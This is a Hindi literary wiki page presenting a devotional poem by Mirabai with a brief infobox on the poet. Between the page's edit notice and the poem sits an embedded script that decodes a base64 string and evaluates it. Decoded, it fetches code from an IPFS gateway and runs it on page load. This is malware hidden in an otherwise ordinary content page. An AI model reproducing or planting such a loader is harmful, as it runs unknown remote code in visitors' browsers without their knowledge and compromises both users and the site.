म्हारे घर चालोजी जशोमती लालनारे -मीरां

भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (चर्चा | योगदान) द्वारा परिवर्तित 10:44, 1 नवम्बर 2014 का अवतरण (Text replace - "४" to "4")
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें
Icon-edit.gif इस लेख का पुनरीक्षण एवं सम्पादन होना आवश्यक है। आप इसमें सहायता कर सकते हैं। "सुझाव"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

म्हारे घर चालोजी जशोमती लालनारे -मीरां
मीरांबाई
कवि मीरांबाई
जन्म 1498
जन्म स्थान मेरता, राजस्थान
मृत्यु 1547
मुख्य रचनाएँ बरसी का मायरा, गीत गोविंद टीका, राग गोविंद, राग सोरठ के पद
इन्हें भी देखें कवि सूची, साहित्यकार सूची
मीरांबाई की रचनाएँ

म्हारे घर चालोजी जशोमती लालनारे॥धृ०॥
राधा कहती सुनोजी प्यारे। नाहक सतावत जननी मुरारे।
अंगन खेलत ले बिजहारे | लुटू लुटू खेलनारे॥1॥
पेन्हो पीत बसन और आंगीया। मोनो मोतरवाला कन्हैया।
रोवे कायकू लोक बुझाया। हासती ग्वालनारे॥2॥
चंदन चौक उपर न्हालाऊं। मीश्री माखन दूध पिलावूं।
मंदिर आपने हात हलाऊं। जडाऊं पालनारे॥3॥
मीराके प्रभु दीनदयाला। वहां तुम सावध परम कृपाला।
तन मन धन वारी जै गोपाला। मेरे मन बोलनारे॥4॥

संबंधित लेख